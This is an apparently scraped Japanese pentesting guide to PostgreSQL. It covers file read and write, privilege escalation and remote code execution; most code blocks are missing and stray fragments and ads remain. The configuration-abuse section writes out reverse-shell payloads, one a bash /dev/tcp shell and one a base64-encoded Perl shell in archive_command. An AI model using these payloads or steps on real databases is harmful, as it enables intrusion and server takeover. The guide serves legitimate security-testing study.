5432,5433 - Pentesting Postgresql
Last updated
Last updated
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。 今すぐアクセスを取得:
PostgreSQLは、オープンソースのオブジェクトリレーショナルデータベースシステムとして説明されています。このシステムはSQL言語を利用するだけでなく、追加機能で強化されています。その機能により、幅広いデータ型と操作を処理できるため、開発者や組織にとって多用途な選択肢となっています。
デフォルトポート: 5432。このポートがすでに使用されている場合、postgresqlは使用されていない次のポート(おそらく5433)を使用するようです。
\list
を実行して rdsadmin
というデータベースが見つかった場合、あなたは AWS postgresql database の中にいることがわかります。
PostgreSQLデータベースを悪用する方法についての詳細は、以下を確認してください:
この研究によると、接続試行が失敗すると、dblink
はエラーの説明を含むsqlclient_unable_to_establish_sqlconnection
例外をスローします。これらの詳細の例は以下に示されています。
ホストがダウンしています
DETAIL: サーバーに接続できませんでした: ホストへのルートがありません "1.2.3.4" でサーバーは稼働しており、ポート 5678 で TCP/IP 接続を受け入れていますか?
ポートが閉じています
ポートが開いています
or
ポートはオープンまたはフィルタリングされています
In PL/pgSQL関数では、現在例外の詳細を取得することはできません。ただし、PostgreSQLサーバーに直接アクセスできる場合は、必要な情報を取得できます。システムテーブルからユーザー名とパスワードを抽出することが不可能な場合は、前のセクションで説明したワードリスト攻撃手法を利用することを検討してください。これは、ポジティブな結果をもたらす可能性があります。
rolsuper
ロールはスーパーユーザー権限を持っています
rolinherit
ロールは自動的にそのメンバーであるロールの権限を継承します
rolcreaterole
ロールは他のロールを作成できます
rolcreatedb
ロールはデータベースを作成できます
rolcanlogin
ロールはログインできます。つまり、このロールは初期セッション認証識別子として与えられることができます
rolreplication
ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。
rolconnlimit
ログインできるロールに対して、このロールが作成できる同時接続の最大数を設定します。-1は制限なしを意味します。
rolpassword
パスワードではありません(常に********
として読み取られます)
rolvaliduntil
パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合はnull
rolbypassrls
rolconfig
実行時構成変数のロール固有のデフォルト
oid
ロールのID
pg_execute_server_program
のメンバーであれば、プログラムを実行できます
pg_read_server_files
のメンバーであれば、ファイルを読み取ることができます
pg_write_server_files
のメンバーであれば、ファイルを書き込むことができます
Postgresでは、ユーザー、グループ、およびロールは同じであることに注意してください。これはどのように使用するかと、ログインを許可するかに依存します。
このコミットから、定義された**DEFAULT_ROLE_READ_SERVER_FILES
グループ(pg_read_server_files
と呼ばれる)およびスーパーユーザーは、任意のパスでCOPY
**メソッドを使用できます(genfile.c
のconvert_and_check_filename
を確認してください):
ファイルを読み取るまたはディレクトリをリストするために使用できる他のpostgres関数があります。これらはスーパーユーザーと明示的な権限を持つユーザーのみが使用できます:
You can find more functions in https://www.postgresql.org/docs/current/functions-admin.html
スーパーユーザーと**pg_write_server_files
**のメンバーのみが、コピーを使用してファイルを書き込むことができます。
COPYは改行文字を処理できないため、base64ペイロードを使用している場合でも、1行で送信する必要があります。
この技術の非常に重要な制限は、copy
はバイナリファイルを書き込むために使用できないことです。なぜなら、いくつかのバイナリ値を変更するからです。
ただし、大きなバイナリファイルをアップロードするための他の技術があります:
バグバウンティのヒント:サインアップしてIntigritiに参加しましょう。これはハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォームです!今日、https://go.intigriti.com/hacktricksに参加して、最大**$100,000**の報酬を得始めましょう!
PostgreSQLサーバーファイルを読み書きするための必要な権限がある場合、PostgreSQLデータディレクトリ内の関連ファイルノードを上書きすることによって、サーバー上の任意のテーブルを更新できます。この技術の詳細は こちらで。
必要な手順:
PostgreSQLデータディレクトリを取得する
注意: 設定から現在のデータディレクトリパスを取得できない場合は、SELECT version()
クエリを通じて主要なPostgreSQLバージョンを照会し、パスをブルートフォースすることを試みることができます。UnixインストールのPostgreSQLの一般的なデータディレクトリパスは/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
です。一般的なクラスター名はmain
です。 2. 対象テーブルに関連するファイルノードへの相対パスを取得する
このクエリはbase/3/1337
のようなものを返すべきです。ディスク上のフルパスは$DATA_DIRECTORY/base/3/1337
、すなわち/var/lib/postgresql/13/main/base/3/1337
です。 3. lo_*
関数を通じてファイルノードをダウンロードする
対象テーブルに関連するデータ型を取得する
PostgreSQLファイルノードエディタを使用してファイルノードを編集する;すべてのrol*
ブールフラグを1に設定してフル権限を付与します。
(オプション) 高コストのSQLクエリを実行してメモリ内のテーブルキャッシュをクリアします。
PostgreSQLで更新されたテーブル値が表示されるはずです。
pg_authid
テーブルを編集することでスーパーユーザーになることもできます。次のセクションを参照してください 内部PostgreSQLテーブルの上書きによる特権昇格。
バージョン9.3以降、スーパーユーザーとグループ**pg_execute_server_program
**のメンバーのみがRCEのためにcopyを使用できます(例:情報漏洩のための)。
例を実行する:
または、metasploitのmulti/postgres/postgres_copy_from_program_cmd_exec
モジュールを使用します。
この脆弱性に関する詳細情報はこちらをご覧ください。CVE-2019-9193として報告されましたが、Postgesはこれが機能であり、修正されないと宣言しました。
前の投稿からバイナリファイルをアップロードする方法を学んだら、PostgreSQL拡張をアップロードして読み込むことでRCEを取得することを試みることができます。
以下のRCEベクターは、すべてのステップがネストされたSELECT文を通じて実行できるため、制約のあるSQLiコンテキストで特に便利です。
PostgreSQLの設定ファイルはpostgresユーザーによって書き込み可能であり、これはデータベースを実行しているため、スーパーユーザーとして、ファイルシステムにファイルを書き込むことができ、したがってこのファイルを上書きすることができます。
この技術に関する詳細情報はこちらをご覧ください。
設定ファイルにはRCEにつながるいくつかの興味深い属性があります:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
データベースのプライベートキーへのパス
ssl_passphrase_command = ''
プライベートファイルがパスワードで保護されている場合(暗号化されている)、PostgreSQLはこの属性に示されたコマンドを実行します。
ssl_passphrase_command_supports_reload = off
この属性がオンの場合、キーがパスワードで保護されている場合に実行されるコマンドは、pg_reload_conf()
が実行されるときに実行されます。
次に、攻撃者は以下を行う必要があります:
サーバーからプライベートキーをダンプ
ダウンロードしたプライベートキーを暗号化:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
上書き
現在のPostgreSQLの設定をダンプ
前述の属性設定で設定を上書き:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
pg_reload_conf()
を実行
これをテストしていると、プライベートキーファイルの権限が640である場合にのみ機能することに気付きました。これはrootによって所有され、ssl-certまたはpostgresグループによって所有されている(したがってpostgresユーザーが読み取れる)必要があり、_ /var/lib/postgresql/12/main_に配置されている必要があります。
この設定とWALに関する詳細情報はこちら。
設定ファイルの中で悪用可能な別の属性はarchive_command
です。
これが機能するためには、archive_mode
設定が'on'
または'always'
である必要があります。それが真であれば、archive_command
のコマンドを上書きし、WAL(書き込み先行ログ)操作を介して実行させることができます。
一般的な手順は次のとおりです:
アーカイブモードが有効かどうかを確認:SELECT current_setting('archive_mode')
ペイロードでarchive_command
を上書きします。例えば、リバースシェル:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
設定をリロード:SELECT pg_reload_conf()
WAL操作を強制的に実行し、アーカイブコマンドを呼び出します:SELECT pg_switch_wal()
または一部のPostgresバージョン用のSELECT pg_switch_xlog()
この技術に関する詳細情報はこちらをご覧ください。
この攻撃ベクターは、次の設定変数を利用します:
session_preload_libraries
-- クライアント接続時にPostgreSQLサーバーによって読み込まれるライブラリ。
dynamic_library_path
-- PostgreSQLサーバーがライブラリを検索するディレクトリのリスト。
dynamic_library_path
の値を、データベースを実行しているpostgres
ユーザーによって書き込み可能なディレクトリ(例:/tmp/
ディレクトリ)に設定し、そこに悪意のある.so
オブジェクトをアップロードします。次に、session_preload_libraries
変数に新しくアップロードしたライブラリを含めることで、PostgreSQLサーバーにそれを読み込ませることを強制します。
攻撃手順は次のとおりです:
元のpostgresql.conf
をダウンロード
/tmp/
ディレクトリをdynamic_library_path
の値に含めます。例:dynamic_library_path = '/tmp:$libdir'
悪意のあるライブラリ名をsession_preload_libraries
の値に含めます。例:session_preload_libraries = 'payload.so'
SELECT version()
クエリを介して主要なPostgreSQLバージョンを確認
正しいPostgreSQL開発パッケージで悪意のあるライブラリコードをコンパイル サンプルコード:
コードをコンパイル:
ステップ2-3で作成した悪意のあるpostgresql.conf
をアップロードし、元のものを上書き
ステップ5のpayload.so
を/tmp
ディレクトリにアップロード
サーバーを再起動するか、SELECT pg_reload_conf()
クエリを呼び出してサーバー設定をリロード
次のDB接続時に、リバースシェル接続を受け取ります。
ドキュメントによると:CREATEROLE
権限を持つロールは、スーパーユーザーでない任意のロールのメンバーシップを付与または取り消すことができます。
したがって、CREATEROLE
権限がある場合、他のロール(スーパーユーザーでない)へのアクセスを自分に付与することができ、ファイルの読み書きやコマンドの実行のオプションを得ることができます:
このロールを持つユーザーは、他の非スーパーユーザーのパスワードを変更することもできます:
ローカルユーザーがパスワードを提供せずにPostgreSQLにログインできることは非常に一般的です。したがって、コードを実行する権限を取得したら、これらの権限を悪用して**SUPERUSER
**ロールを付与できます:
これは通常、pg_hba.conf
ファイルの以下の行のおかげで可能です:
この書き込みでは、ユーザーに付与されたALTER TABLE権限を悪用してPostgres GCPでprivescが可能だった方法が説明されています。
別のユーザーをテーブルの所有者にすることを試みると、エラーが発生してそれを防ぐべきですが、どうやらGCPはスーパーユーザーでないpostgresユーザーにそのオプションを与えたようです:
この考えを、INSERT/UPDATE/ANALYZEコマンドがインデックス関数を持つテーブルで実行されるとき、関数がテーブルの所有者の権限でコマンドの一部として呼び出されるという事実と結びつけると、関数を使ってインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後悪意のある関数を使ってテーブルに対してANALYZEを実行することが可能になります。これは所有者の権限を使用してコマンドを実行できるからです。
新しいテーブルを作成します。
インデックス関数にデータを提供するために、テーブルにいくつかの無関係なコンテンツを挿入します。
コード実行ペイロードを含む悪意のあるインデックス関数を開発し、無許可のコマンドを実行できるようにします。
テーブルの所有者を「cloudsqladmin」にALTERします。これは、Cloud SQLがデータベースを管理および維持するために独占的に使用するGCPのスーパーユーザーロールです。
テーブルにANALYZE操作を実行します。このアクションにより、PostgreSQLエンジンはテーブルの所有者「cloudsqladmin」のユーザーコンテキストに切り替わります。その結果、悪意のあるインデックス関数が「cloudsqladmin」の権限で呼び出され、以前は無許可だったシェルコマンドの実行が可能になります。
PostgreSQLでは、このフローは次のようになります:
次に、shell_commands_results
テーブルには実行されたコードの出力が含まれます:
一部の誤設定された postgresql インスタンスでは、任意のローカルユーザーのログインが許可される場合があります。dblink
関数を使用して 127.0.0.1 からローカルにログインすることが可能です。
注意してください、前のクエリが機能するためには**dblink
関数が存在する必要があります**。存在しない場合は、次のコマンドで作成を試みることができます。
もし、より多くの権限を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます:
この関数が存在するかどうかを確認するには、次のようにします:
この書き込みで、ペンテスターはIBMが提供するPostgresインスタンス内で権限昇格を行うことができました。なぜなら、彼らはSECURITY DEFINERフラグを持つこの関数を見つけたからです:
ドキュメントで説明されているように、SECURITY DEFINERを持つ関数は、それを所有するユーザーの権限で実行されます。したがって、関数がSQLインジェクションに対して脆弱であるか、攻撃者によって制御されるパラメータで特権的なアクションを行っている場合、それを悪用してPostgres内で権限を昇格させることができます。
前のコードの4行目に、関数がSECURITY DEFINERフラグを持っていることがわかります。
そして、コマンドを実行します:
PL/pgSQLは、SQLに比べてより高度な手続き制御を提供する完全なプログラミング言語です。これにより、プログラムロジックを強化するためにループやその他の制御構造を使用できます。さらに、SQL文やトリガーは、PL/pgSQL言語を使用して作成された関数を呼び出すことができます。この統合により、データベースプログラミングと自動化に対するより包括的で多様なアプローチが可能になります。 この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができます。
以下の特権昇格ベクターは、すべてのステップがネストされたSELECT文を通じて実行できるため、制約のあるSQLiコンテキストで特に有用です。
PostgreSQLサーバーファイルを読み書きできる場合、内部のpg_authid
テーブルに関連付けられたPostgreSQLのディスク上のファイルノードを上書きすることで、スーパーユーザーになることができます。
この技術についての詳細はこちらを参照してください。
攻撃手順は次のとおりです:
PostgreSQLデータディレクトリを取得する
pg_authid
テーブルに関連付けられたファイルノードへの相対パスを取得する
lo_*
関数を通じてファイルノードをダウンロードする
pg_authid
テーブルに関連付けられたデータ型を取得する
PostgreSQLファイルノードエディタを使用してファイルノードを編集し、すべてのrol*
ブールフラグを1に設定して完全な権限を付与します。
編集したファイルノードをlo_*
関数を介して再アップロードし、ディスク上の元のファイルを上書きします
(オプション) 高コストのSQLクエリを実行してメモリ内のテーブルキャッシュをクリアします
現在、フルスーパーマネージャーの権限を持っているはずです。
postgresql.conf ファイル内で、次のように変更することで postgresql ログを有効にできます:
その後、サービスを再起動します。
pgadmin はPostgreSQLの管理および開発プラットフォームです。 pgadmin4.db ファイル内にパスワードが見つかります。 スクリプト内の decrypt 関数を使用してそれらを復号化できます: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
PostgreSQLにおけるクライアント認証は、pg_hba.confという設定ファイルを通じて管理されます。このファイルには、一連のレコードが含まれており、それぞれが接続タイプ、クライアントIPアドレス範囲(該当する場合)、データベース名、ユーザー名、および接続を一致させるために使用する認証方法を指定しています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証が失敗した場合のフォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。
pg_hba.confで利用可能なパスワードベースの認証方法は、md5、crypt、およびpasswordです。これらの方法は、パスワードがどのように送信されるかによって異なります:MD5ハッシュ、crypt暗号化、または平文です。cryptメソッドは、pg_authidで暗号化されたパスワードと一緒に使用できないことに注意することが重要です。
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細についてはを参照してください。
6. 編集したファイルノードをlo_*
関数を通じて再アップロードし、ディスク上の元のファイルを上書きします。
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)